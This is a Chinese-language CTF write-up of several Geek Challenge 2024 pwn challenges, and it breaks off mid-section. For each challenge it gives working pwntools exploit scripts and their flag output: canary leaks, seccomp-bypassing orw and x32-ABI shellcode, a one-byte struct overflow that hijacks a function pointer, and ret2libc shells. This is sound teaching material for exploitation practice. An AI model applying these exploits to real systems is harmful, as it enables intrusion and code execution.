Have you found something?
Index: $ cat flag
SYC{a92da931-4649-4fb6-8511-c1d5623912df}
$

orz?orw!#

涉及知识点:printf绕过canary,orw shellcode 先查保护

$ checksec orw
[*] '/ctf/work/Geek2024/Pwn/orzorw/orw'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

栈可执行,应该是打shellcode了。

看下ida的反汇编

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+Fh] [rbp-11h] BYREF
  unsigned int v5; // [rsp+10h] [rbp-10h] BYREF
  char v6[4]; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = 4;
  puts("please input your size:");
  __isoc99_scanf("%d", &v5);
  clear();
  if ( v5 <= 4 )
  {
    puts("Please input your name:");
    read(0, &buf, 0x30uLL);
    printf("Hello %s\n", &buf);
    puts("give me your id\n");
    read(0, v6, (int)v5);
    puts("Great!now you can do what you want!");
    sandbox();
  }
  else
  {
    puts("no!!!");
  }
  return 0;
}

有沙盒,我们看看沙盒。

$ seccomp-tools dump ./orw
please input your size:
1
Please input your name:
1
Hello 1

give me your id

1
Great!now you can do what you want!
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

禁止了execve只能orw shellcode了。

有个后门函数

void unk404()
{
  __asm { jmp     rsp }
}

先泄露canary,由于canary最低位为’\x00’,我们只需要覆盖这一位,然后用printf(‘%s’)就可以直接打印出来了。

EXP

from pwn import *
context(arch='amd64', os='linux', log_level='info')

#IO
io = remote('nc1.ctfplus.cn', 23787)

#leak canary
io.sendline(b'1')
io.send(b'a' + b'111\x01' + b'A' * 5)
io.recvuntil(b'AAAAA')
canary = u64(io.recv(7).rjust(8, b'\x00'))
log.info('canary:' + hex(canary))

#orw
shellcode = asm(shellcraft.cat('/flag'))
ret = 0x4012A7
payload = cyclic(4) + p64(canary) + cyclic(8) + p64(ret) + shellcode
io.send(payload)
io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 23787: Done
[*] canary:0xe4ec8e50160eec00
[*] Switching to interactive mode

give me your id

Great!now you can do what you want!
SYC{c1294a55-0d33-4588-9221-2ce25293f5cd}

struct one byte#

涉及知识点:结构体内存排布,partial overwrite

先查保护

$ checksec struct
[*] '/ctf/work/Geek2024/Pwn/struct/struct'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

全保护,有点哈人,正常流程肯定要先泄露canary,再泄露一个函数真实地址才能做。这道题肯定涉及结构体,我们先看看ida

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init();
  puts("not a heap!!! not a heap !!! not a heap!!!");
  while ( 1 )
  {
    v3 = 0;
    puts("1.add player\n2.player work\n3. change player info: ");
    __isoc99_scanf("%d", &v3);
    while ( getchar() != 10 )
      ;
    if ( v3 == 4 )
    {
      gift();                                   // leak printf address-->libc_base
    }
    else if ( v3 <= 4 )
    {
      switch ( v3 )
      {
        case 3:
          edit_name();
          break;
        case 1:
          add_player();
          break;
        case 2:
          work();
          break;
      }
    }
  }
}

菜单题,实现了四个功能。gift()edit_name()add_player()work()

这题得先修结构体,这里直接给出分析得到的结构体样式

struct player
{
  __int64 name_size;
  char name[16];
  __int64 func_ptr;
  char info[32];
};

再来分析各个函数

int gift()
{
  puts("gift");
  return printf("addr:%p\n", &printf);
}

gift()泄露了libc的基地址,也就绕过了PIE

unsigned __int64 edit_name()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("input index:");
  __isoc99_scanf("%d", &v1);
  clear();
  if ( Used[v1] )
  {
    puts("name :");
    read(0, &players.name[64 * v1], *(&players.name_size + 8 * v1));
  }
  else
  {
    puts("not used");
  }
  return __readfsqword(0x28u) ^ v2;
}

这个函数去编辑新建的player结构体的name

unsigned __int64 add_player()
{
  char *v0; // rcx
  __int64 v1; // rdx
  char *v2; // rax
  __int64 v3; // rbx
  __int64 v4; // rbx
  unsigned int v6; // [rsp+8h] [rbp-58h] BYREF
  int v7; // [rsp+Ch] [rbp-54h] BYREF
  __int64 buf[2]; // [rsp+10h] [rbp-50h] BYREF
  __int64 v9[4]; // [rsp+20h] [rbp-40h] BYREF
  char v10; // [rsp+40h] [rbp-20h]
  unsigned __int64 v11; // [rsp+48h] [rbp-18h]

  v11 = __readfsqword(0x28u);
  puts("Index:");
  __isoc99_scanf("%d", &v6);
  while ( getchar() != 10 )
    ;
  if ( v6 < 0x10 )
  {
    if ( Used[v6] )
    {
      puts("already used\n");
    }
    else
    {
      puts("player Position:\n1. tecaher \n2. students\n> ");
      __isoc99_scanf("%d", &v7);
      clear();
      if ( v7 == 1 )
      {
        *&players.name[64 * v6 + 16] = tacher;
      }
      else if ( v7 == 2 )
      {
        *&players.name[64 * v6 + 16] = student;
      }
      else
      {
        puts("out of range\n");
      }
      puts("name :");
      read(0, buf, 0x10uLL);
      v0 = &players.name[64 * v6];
      v1 = buf[1];
      *v0 = buf[0];
      *(v0 + 1) = v1;
      puts("info :");
      read(0, v9, 0x21uLL);
      v2 = &players.info[64 * v6];
      v3 = v9[1];
      *v2 = v9[0];
      *(v2 + 1) = v3;
      v4 = v9[3];
      *(v2 + 2) = v9[2];
      *(v2 + 3) = v4;
      v2[32] = v10;
      *(&players.name_size + 8 * v6) = 16LL;
      Used[v6] = 1;
    }
  }
  else
  {
    puts("out of range\n");
  }
  return __readfsqword(0x28u) ^ v11;
}

这个函数会添加一个结构体变量,先判断是teacher还是student,其实都没差,接下来是赋值环节,这里是重点

      puts("name :");
      read(0, buf, 0x10uLL);
      v0 = &players.name[64 * v6];
      v1 = buf[1];
      *v0 = buf[0];
      *(v0 + 1) = v1;

name0x10字节

      read(0, v9, 0x21uLL);
      v2 = &players.info[64 * v6];
      v3 = v9[1];
      *v2 = v9[0];
      *(v2 + 1) = v3;
      v4 = v9[3];
      *(v2 + 2) = v9[2];
      *(v2 + 3) = v4;
      v2[32] = v10;
      *(&players.name_size + 8 * v6) = 16LL;

这里写得比较乱,但是关键点在于info在赋值的时候read(0, v9, 0x21uLL);多了一字节info0x20字节,且是最后一个成员变量这溢出的一个字节可以去修改下一个结构体的成员变量

可以通过调试看一下

第一次add,我们创建一个student结构体 使用cyclic(0x10)生成字符串输入进去,我们看看player的内存排布

pwndbg> x/40gx $rip + 0x2c23
0x55555555809d <players+29>:    0x0000000000000000      0x0000000000000000
0x5555555580ad <players+45>:    0x0000000000000000      0x0000000000000000
0x5555555580bd <players+61>:    0x0000000000000000      0x6161616161000000
0x5555555580cd <players+77>:    0x6161616162616161      0x5555555230616161
0x5555555580dd <players+93>:    0x0000000000000055      0x0000000000000000
0x5555555580ed <players+109>:   0x0000000000000000      0x0000000000000000
0x5555555580fd <players+125>:   0x0000000000000000      0x0000000000000000
0x55555555810d <players+141>:   0x0000000000000000      0x0000000000000000
0x55555555811d <players+157>:   0x0000000000000000      0x0000000000000000
0x55555555812d <players+173>:   0x0000000000000000      0x0000000000000000
0x55555555813d <players+189>:   0x0000000000000000      0x0000000000000000
0x55555555814d <players+205>:   0x0000000000000000      0x0000000000000000
0x55555555815d <players+221>:   0x0000000000000000      0x0000000000000000
0x55555555816d <players+237>:   0x0000000000000000      0x0000000000000000
0x55555555817d <players+253>:   0x0000000000000000      0x0000000000000000
0x55555555818d <players+269>:   0x0000000000000000      0x0000000000000000
0x55555555819d <players+285>:   0x0000000000000000      0x0000000000000000
0x5555555581ad <players+301>:   0x0000000000000000      0x0000000000000000
0x5555555581bd <players+317>:   0x0000000000000000      0x0000000000000000
0x5555555581cd <players+333>:   0x0000000000000000      0x0000000000000000

可以看到80bd到80cd的地方存着我们输入的字符串aaaaaaaabaaaaaaa,接下来读入info,我们同样用cyclic生成一串字符串aaaaaaaabaaaaaaacaaaaaaadaaaaaaa

pwndbg> x/40gx 0x55555555809d
0x55555555809d <players+29>:    0x0000000000000000      0x0000000000000000
0x5555555580ad <players+45>:    0x0000000000000000      0x0000000000000000
0x5555555580bd <players+61>:    0x0000000010000000      0x6161616161000000
0x5555555580cd <players+77>:    0x6161616162616161      0x5555555230616161
0x5555555580dd <players+93>:    0x6161616161000055      0x6161616162616161
0x5555555580ed <players+109>:   0x6161616163616161      0x6161616164616161
0x5555555580fd <players+125>:   0x000000000a616161      0x0000000000000000
0x55555555810d <players+141>:   0x0000000000000000      0x0000000000000000
0x55555555811d <players+157>:   0x0000000000000000      0x0000000000000000
0x55555555812d <players+173>:   0x0000000000000000      0x0000000000000000
0x55555555813d <players+189>:   0x0000000000000000      0x0000000000000000
0x55555555814d <players+205>:   0x0000000000000000      0x0000000000000000
0x55555555815d <players+221>:   0x0000000000000000      0x0000000000000000
0x55555555816d <players+237>:   0x0000000000000000      0x0000000000000000
0x55555555817d <players+253>:   0x0000000000000000      0x0000000000000000
0x55555555818d <players+269>:   0x0000000000000000      0x0000000000000000
0x55555555819d <players+285>:   0x0000000000000000      0x0000000000000000
0x5555555581ad <players+301>:   0x0000000000000000      0x0000000000000000
0x5555555581bd <players+317>:   0x0000000000000000      0x0000000000000000
0x5555555581cd <players+333>:   0x0000000000000000      0x0000000000000000

我们再回顾一下结构体的样式

struct player
{
  __int64 name_size;
  char name[16];
  __int64 func_ptr;
  char info[32];
};

0x0000000010这里是name size,依次往后是name,然后是一个函数指针0x5555555230,即为func_ptr,然后是info,我们再创建一个结构体看看。

pwndbg> x/40gx 0x55555555809d
0x55555555809d <players+29>:    0x0000000000000000      0x0000000000000000
0x5555555580ad <players+45>:    0x0000000000000000      0x0000000000000000
0x5555555580bd <players+61>:    0x0000000010000000      0x6161616161000000
0x5555555580cd <players+77>:    0x6161616162616161      0x5555555230616161
0x5555555580dd <players+93>:    0x6161616161000055      0x6161616162616161
0x5555555580ed <players+109>:   0x6161616163616161      0x6161616164616161
0x5555555580fd <players+125>:   0x000000000a616161      0x6161616161000000
0x55555555810d <players+141>:   0x6161616162616161      0x5555555230616161
0x55555555811d <players+157>:   0x0000000000000055      0x0000000000000000
0x55555555812d <players+173>:   0x0000000000000000      0x0000000000000000
0x55555555813d <players+189>:   0x0000000000000000      0x0000000000000000
0x55555555814d <players+205>:   0x0000000000000000      0x0000000000000000
0x55555555815d <players+221>:   0x0000000000000000      0x0000000000000000
0x55555555816d <players+237>:   0x0000000000000000      0x0000000000000000
0x55555555817d <players+253>:   0x0000000000000000      0x0000000000000000
0x55555555818d <players+269>:   0x0000000000000000      0x0000000000000000
0x55555555819d <players+285>:   0x0000000000000000      0x0000000000000000
0x5555555581ad <players+301>:   0x0000000000000000      0x0000000000000000
0x5555555581bd <players+317>:   0x0000000000000000      0x0000000000000000
0x5555555581cd <players+333>:   0x0000000000000000      0x0000000000000000

可以看到我们创建了一个新的结构体,但是原本的name_size处的10被上一个结构体越界修改为了0a,就是我们刚刚读入info时额外读入的换行符,也就是说,我们可以通过一字节越界写控制下一个结构体的name读入的长度,去修改func_ptr部分,怎么利用呢?我们看一下work函数。

unsigned __int64 work()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("input index:");
  __isoc99_scanf("%u", &v1);
  clear();
  if ( Used[v1] )
    (*&players.name[64 * v1 + 16])(&players.name[64 * v1], &players.info[64 * v1]);
  else
    puts("not used");
  return __readfsqword(0x28u) ^ v2;
}

如果有值,就执行一下。

同时存在后门函数

int backdoor()
{
  puts("backdoor");
  return system("/bin/sh");
}

那么这道题思路就呼之欲出了。先通过add_player()创建一个结构体,写入info时控制最后一个字节为大数,再添加一个结构体,使得下一个结构体的name_size被覆盖为我们控制的内容,再调用edit_name()溢出写func_ptr,改为backdoor()的地址,触发work()即可。

EXP

from pwn import *
context(arch='amd64', os='linux', log_level='info', terminal=['tmux','splitw','-h'])

def debug():
    gdb.attach(io)
    pause()

#IO part
##io = process('./struct')
io = remote('nc1.ctfplus.cn', 27963)
libc = ELF('./libc-2.31.so')
elf = ELF('./struct')

#init menu

def menu(index):
    io.recvuntil(b'3. change player info: \n')
    io.sendline(str(index).encode())

def add(index,name,info,choice=1):
    menu(1)
    io.recvuntil(b'Index:\n')
    io.sendline(str(index).encode())
    io.recvuntil(b'player Position:\n1. tecaher \n2. students\n> \n')
    io.sendline(str(choice).encode())
    io.recvuntil(b'name :\n')
    io.send(name)
    io.recvuntil(b'info :\n')
    io.send(info)
    log.success(f"Added index {index} user success!")

def work(index):
    menu(2)
    io.recvuntil(b'input index:\n')
    io.sendline(str(index).encode())

def edit(index,name):
    menu(3)
    io.recvuntil(b'input index:\n')
    io.sendline(str(index).encode())
    io.recvuntil(b'name :\n')
    io.send(name)
    log.success(f'Success edited index {index} user!')

def gift():
    menu(4)
    io.recvuntil(b'gift\n')
    return io.recvline()

#leak libc
log.info("Receiving gift...")
printf_addr = int(gift()[5:-1].decode(),16)
libc_base = printf_addr - libc.sym['printf']
system_addr = libc_base + libc.sym['system']
log.success(f"Success leak libc: {hex(libc_base)}")

#Get shell
add(1,b"/bin/sh\x00",b"\xff"*0x20)
add(0,b"/bin/sh\x00",b"\xff"*0x21)
edit(1,b"/bin/sh\x00".ljust(0x10,b"a")+p64(system_addr))
work(1)

io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 27963: Done
[*] '/ctf/work/Geek2024/Pwn/struct/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/ctf/work/Geek2024/Pwn/struct/struct'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Receiving gift...
[+] Success leak libc: 0x7f5bdd93a000
[+] Added index 1 user success!
[+] Added index 0 user success!
[+] Success edited index 1 user!
[*] Switching to interactive mode
$ ls
bin
dev
flag
lib
lib32
lib64
libx32
struct
$ cat flag
SYC{4b861366-e159-44cb-b1ed-22202e75ef54}

学校的烂电梯pro#

涉及知识点;栈排布,未初始化的内存,ret2libc

Geek Challenge 2023的一道elevator和此题思路大致相同。

查下保护

$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯pro/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'./libc.so.6'

存在canary,有溢出需要先泄露canary

然后是ida的反汇编

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init_func(argc, argv, envp);
  puts("Welcome to 2024 Geek pwn channel!");
  puts("This is a elevator");
  take_elevator();
  puts("Thanks for using our service, have a nice day!");
  return 0;
}

主要逻辑在take_elevator()

unsigned __int64 take_elevator()
{
  int v1[11]; // [rsp+Ch] [rbp-34h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("how many floors do you want to go?");
  __isoc99_scanf("%d", v1);
  data = 8 * v1[0];
  broken();
  return __readfsqword(0x28u) ^ v2;
}

这里用到了data,但后续并没有调用这个变量,我们看看汇编。

mov     cs:data, eax
sub     rsp, 4040ACh
mov     eax, 0

0x4040AC中存放着data

.bss:00000000004040AC data            dd ?                    ; DATA XREF: take_elevator+4A↑w

和Plus那题是一样的,进行了抬栈操作

unsigned __int64 broken()
{
  double v1; // [rsp+8h] [rbp-38h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("oh , the elevator maybe broken\n");
  printf("but you can  call phone to rescue you\n");
  ask_phone(&v1);
  printf("you call the number is %lf\n", v1);
  printf("you have be saved, please send a message to thanks for the man!!\n");
  read(0, buf, 0x100uLL);
  return __readfsqword(0x28u) ^ v3;
}

可以看到存在溢出,那么此题就需要泄露canary了。此题只有一个printf("%lf")的输出点,肯定是要用这个来泄露canary,我们看看ask_phone()

__int64 __fastcall ask_phone(__int64 a1)
{
  printf("which one you want to call?");
  __isoc99_scanf("%lf", a1);
  return readuntil(10LL);
}

这里输入了一个double float后续也打印double float,显然我们要利用这个v1来泄露canary,看看栈排布。

-0000000000000038 var_38          dq ?
-0000000000000030 buf             db 40 dup(?)
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

显然我们可以利用未初始化的内存漏洞。在调用内部函数时系统会往栈上读入canary,而在后续的程序执行流中,这些canary没有被销毁,自然在我们调用这个ask_phone()之前,栈上低地址有残留的canary数据,我们只需要抬高rsp,使得rsp与栈上残留的canary对齐,就可以用后面的printf()将它打印出来(有时候canary没有浮点表示形式,需要多试几次)

此处利用该漏洞的重点是:scanf()不一定会成功,如果我们输入\x00那么scanf不会读入任何数据。

抬高28个字长即可。

EXP

from pwn import *
context(arch='amd64',os='linux',log_level='info',terminal=['tmux','splitw','-h'])

def debug():
    gdb.attach(io)
    pause()



while True:
    #IO
    ##io = process('./pwn')
    io = remote('nc1.ctfplus.cn', 43829)
    libc = ELF('./libc.so.6')
    elf = ELF('./pwn')
    #Try to leak canary as float
    log.info("Trying to leak canary...")
    io.sendlineafter(b'how many floors do you want to go?', str(28).encode())
    io.sendlineafter(b'which one you want to call?', b'\x00')
    io.recvuntil(b'you call the number is ')
    response = io.recvuntil(b'\n', drop = True)
    rawcanary = float(response)
    canary = int(hex(struct.unpack('>Q', struct.pack('>d', rawcanary))[0]), 16)
    if canary == 0x0 or canary == 0x8000000000000000:
        io.close()
        continue
    else:
        log.success(f"Success to leak canary ==> {hex(canary)}")
        break

#init
pop_rdi = 0x4014c3
ret_addr = 0x40101a
read_addr = 0x401292
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

#leak libc
log.info("Trying to leak libcbase...")
io.recvuntil(b'you have be saved, please send a message to thanks for the man!!\n')

payleak = cyclic(0x28) + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)
io.send(payleak)

puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
log.success(f"Success to leak libc ==> {hex(libc_base)}")

#Get shell
log.info("Trying to Getshell!")
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
log.success(f"sysyem address ==> {hex(system_addr)}")
log.success(f"/bin/sh address ==> {hex(binsh_addr)}")

io.sendline(str(1).encode())
io.recvuntil(b'you have be saved, please send a message to thanks for the man!!\n')

payload = cyclic(0x28) + p64(canary) + p64(0xdeadbeef) + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.send(payload)
log.success("Success to GetShell!!!")
io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 43829: Done
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯pro/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯pro/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'./libc.so.6'
[*] Trying to leak canary...
[+] Success to leak canary ==> 0x668e332912626e00
[*] Trying to leak libcbase...
[+] Success to leak libc ==> 0x7fa1e21c2000
[*] Trying to Getshell!
[+] sysyem address ==> 0x7fa1e2214290
[+] /bin/sh address ==> 0x7fa1e23765bd
[+] Success to GetShell!!!
[*] Switching to interactive mode
$ ls
bin
dev
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
libx32
pwn
$ cat flag
flag{f855add4-b841-471a-ba8f-d4b6e43cb941}

hard_orw#

涉及知识点:x32ABI下的orwshellcode

拿到题查下保护

$ checksec sandbox
[*] '/ctf/work/Geek2024/Pwn/hard_orw/sandbox'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

基本没有,打开ida看看反汇编

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[4]; // [rsp+0h] [rbp-10h] BYREF
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  void *s; // [rsp+8h] [rbp-8h]

  init(argc, argv, envp);
  puts("Please input your id");
  read(0, buf, 4uLL);
  puts("Please input your age");
  read(0, v4, 4uLL);
  puts("Perhaps you should learn \"ret\" and \"fd\" first");
  s = (void *)(int)mmap((void *)0x405000, 0x1000uLL, 7, 34, -1, 0LL);
  memset(s, 144, 0x1000uLL);
  sandbox();
  read(0, (void *)0x405000, 4uLL);
  ((void (*)(void))s)();
  return 0;
}

有沙盒,我们用工具看看。

$ seccomp-tools dump ./sandbox
Please input your id
1
Please input your age
1
Perhaps you should learn "ret" and "fd" first
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x16 0x00 0x000001b5  if (A == 0x1b5) goto 0024
 0002: 0x15 0x15 0x00 0x00000147  if (A == preadv2) goto 0024
 0003: 0x15 0x14 0x00 0x00000128  if (A == pwritev) goto 0024
 0004: 0x15 0x13 0x00 0x00000101  if (A == openat) goto 0024
 0005: 0x15 0x12 0x00 0x0000016e  if (A == 0x16e) goto 0024
 0006: 0x15 0x11 0x00 0x0000016d  if (A == 0x16d) goto 0024
 0007: 0x15 0x10 0x00 0x0000016a  if (A == 0x16a) goto 0024
 0008: 0x15 0x0f 0x00 0x00000155  if (A == 0x155) goto 0024
 0009: 0x15 0x0e 0x00 0x00000154  if (A == 0x154) goto 0024
 0010: 0x15 0x0d 0x00 0x00000001  if (A == write) goto 0024
 0011: 0x15 0x0c 0x00 0x00000002  if (A == open) goto 0024
 0012: 0x15 0x0b 0x00 0x00000011  if (A == pread64) goto 0024
 0013: 0x15 0x0a 0x00 0x00000012  if (A == pwrite64) goto 0024
 0014: 0x15 0x09 0x00 0x00000013  if (A == readv) goto 0024
 0015: 0x15 0x08 0x00 0x00000014  if (A == writev) goto 0024
 0016: 0x15 0x07 0x00 0x00000001  if (A == write) goto 0024
 0017: 0x15 0x06 0x00 0x0000002c  if (A == sendto) goto 0024
 0018: 0x15 0x05 0x00 0x0000002e  if (A == sendmsg) goto 0024
 0019: 0x15 0x04 0x00 0x0000003b  if (A == execve) goto 0024
 0020: 0x15 0x03 0x00 0x00000142  if (A == execveat) goto 0024
 0021: 0x15 0x02 0x00 0x00000148  if (A == pwritev2) goto 0024
 0022: 0x15 0x01 0x00 0x00000149  if (A == pkey_mprotect) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

666能禁的基本全禁了。看似束手无策,实际上我们对比一下之前的一道orw不难发现它没有检查架构,即:

 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007

不检查架构,那么我们就可以转入32位下执行orw,或者直接调用x32 ABI。(此处不限制系统调用号)

x32 ABI是ABI (Application Binary Interface),同样也是linux系统内核接口之一。x32 ABI允许在64位架构下(包括指令集、寄存器等)使用32位指针,从而避免64位指针造成的额外开销,提升程序性能。然而,除跑分、嵌入式场景外,x32 ABI的使用寥寥无几。前几年曾有过弃用x32 ABI的讨论,但其被最终决定保留,并在linux kernel中保留至今。

如果需要进入32位模式,需要使CS寄存器的值为0x23。retf指令可以帮我们做到这一点(相当于pop ip ; pop cs

这里展示使用ABI的解法。

解决了系统调用的问题,我们还有一个问题有待商榷。

read(0, (void *)0x405000, 4uLL);

在读入shellcode时只开放了4字节!显然是不够的,这时我们可以考虑下中断

在这个read()处输入\x0f\x05(syscall),然后转入执行,这时由于之前执行过一次read,那么rdi为0,rsi为shellcode地址,rdx变为一个大数,那么我们直接执行syscall又会read一次,这样可以在shellcode进行拓展写了。

可以写个脚本调一下

from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux','splitw','-h'])

def debug():
    gdb.attach(io)
    pause()

#IO
io = process('./sandbox')

syscall = b'\x0f\x05'
io.sendlineafter(b'Please input your id\n', str(1).encode())
io.sendlineafter(b'Please input your age\n', str(1).encode())
io.recvuntil(b'Perhaps you should learn \"ret\" and \"fd\" first\n')
debug()
io.send(syscall)
io.interactive()
0x000000000040160d in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────
*RAX  0x0
 RBX  0x0
 RCX  0x7fbf5fdbf992 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x405000 ◂— syscall  /* 0x909090909090050f */
 RDI  0x0
 RSI  0x405000 ◂— syscall  /* 0x909090909090050f */
 R8   0x0
 R9   0x0
 R10  0x7fbf5fdd1531 (prctl+81) ◂— cmp rax, -0x1000 /* 'H=' */
 R11  0x246
 R12  0x7ffe2798d258 —▸ 0x7ffe2798e77b ◂— './sandbox'
 R13  0x40152b (main) ◂— endbr64
 R14  0x0
 R15  0x7fbf5ff15040 (_rtld_global) —▸ 0x7fbf5ff162e0 ◂— 0x0
 RBP  0x7ffe2798d140 ◂— 0x1
 RSP  0x7ffe2798d130 ◂— 0xa3100000a31 /* '1\n' */
*RIP  0x40160d (main+226) ◂— call rdx
──────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────
   0x401604 <main+217>              mov    rdx, qword ptr [rbp - 8]
   0x401608 <main+221>              mov    eax, 0
 0x40160d <main+226>              call   rdx                           <0x405000>

   0x40160f <main+228>              mov    eax, 0
   0x401614 <main+233>              leave
   0x401615 <main+234>              ret

   0x401616                         nop    word ptr cs:[rax + rax]
   0x401620 <__libc_csu_init>       endbr64
   0x401624 <__libc_csu_init+4>     push   r15
   0x401626 <__libc_csu_init+6>     lea    r15, [rip + 0x27e3]           <__init_array_start>
   0x40162d <__libc_csu_init+13>    push   r14
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp 0x7ffe2798d130 ◂— 0xa3100000a31 /* '1\n' */
01:0008│     0x7ffe2798d138 —▸ 0x405000 ◂— syscall  /* 0x909090909090050f */
02:0010│ rbp 0x7ffe2798d140 ◂— 0x1
03:0018│     0x7ffe2798d148 —▸ 0x7fbf5fcd4d90 (__libc_start_call_main+128) ◂— mov edi, eax
04:0020│     0x7ffe2798d150 ◂— 0x0
05:0028│     0x7ffe2798d158 —▸ 0x40152b (main) ◂— endbr64
06:0030│     0x7ffe2798d160 ◂— 0x12798d240
07:0038│     0x7ffe2798d168 —▸ 0x7ffe2798d258 —▸ 0x7ffe2798e77b ◂— './sandbox'
──────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
 0         0x40160d main+226
   1   0x7fbf5fcd4d90 __libc_start_call_main+128
   2   0x7fbf5fcd4e40 __libc_start_main+128
────────────────────────────────────────────────────────────────────────────────────────

可以看到此时rdx为大数,那么直接拓展写32ABI orwshellcode即可。

EXP

from pwn import *
context(arch='amd64', os='linux', log_level='info', terminal=['tmux','splitw','-h'])

def debug():
    gdb.attach(io)
    pause()

#IO
io = remote('nc1.ctfplus.cn', 33930)

#shellcode
shellcode = asm(
    '''
mov eax,0x67616c66
push rax
mov rdi,rsp
xor rsi,rsi
mov rax,0x40000002
syscall

mov rdi,rax
mov rax,rsp
add rax,0x100
mov rsi,rax
mov rdx,0x40
mov rax,0x40000000
syscall

mov edi,2
mov rax,0x40000001
syscall
    '''
)

#ret2orw
nop = b'\x90\x90'
syscall = b'\x0f\x05'
payload = nop + shellcode
io.sendlineafter(b'Please input your id\n', str(1).encode())
io.sendlineafter(b'Please input your age\n', str(1).encode())
io.recvuntil(b'Perhaps you should learn \"ret\" and \"fd\" first\n')
io.send(syscall)
sleep(0.2)
io.send(payload)
print(io.recvall())
io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 33930: Done
[+] Receiving all data: Done (64B)
[*] Closed connection to nc1.ctfplus.cn port 33930
b'SYC{d2071d34-6205-4bfa-8de5-175b8f2cca2e}\n0\xf8\xfd\x7f\x00\x00\x1d\xb10\xf8\xfd\x7f\x00\x00]\xb10\xf8\xfd\x7f\x00\x00'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

stdout#

涉及知识点:全缓冲机制,ret2libc,partical overwrite

查下保护

$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/stdout/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

开了PIE,先想办法泄露程序基地址。我们看看ida的反汇编

int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax

  init(argc, argv, envp);
